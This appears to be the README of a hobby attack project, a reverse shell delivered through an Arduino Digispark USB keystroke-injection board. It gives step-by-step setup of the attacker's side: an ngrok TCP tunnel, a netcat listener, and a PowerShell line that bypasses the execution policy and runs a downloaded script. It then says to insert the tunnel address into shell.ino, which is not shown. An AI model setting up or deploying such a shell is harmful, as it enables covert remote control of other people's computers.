reverse_shell's Introduction

Reverse Shell - Arduino Digispark

For this to work you will need to download ngrok and netcat.

Installation ngrok

Linux

curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" | sudo tee /etc/apt/sources.list.d/ngrok.list && sudo apt update && sudo apt install ngrok

NOTE: Netcat is already installed on Linux systems.

Windows

Installing Chocolatey

Open Powershell and run as administrator, then run the command below:

Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))

Installing ngrok

> choco install ngrok

NOTE: unlike Linux, Windows does not come with Netcat installed, so you can install it here.

Extract netcat-win32-1.12.zip and move the extracted files to the directory on Windows: C:/Windows/System32
installations on the respective systems are done, now let's create the reverse shell

Creating Reverse Shell

Creating data tunnel to receive TCP packets

ngrok tcp 44444

The print shows some ngrok connection information, you can see that there is a parameter called Forwarding, when located, take the address 0.tcp.sa.ngrok.io and port 16832 set and save it in some text editor, you will need it later.

Now create a bridge to ngrok by setting the same port

nc -lnvp 44444

When configuring everything, go back to the shell.ino code, on line 27, change YOUR_NGROK_ADDRESS to your ngrok address and PORT_NGROK for your ngrok port

Okay, now it's time to compile and run your tests :)

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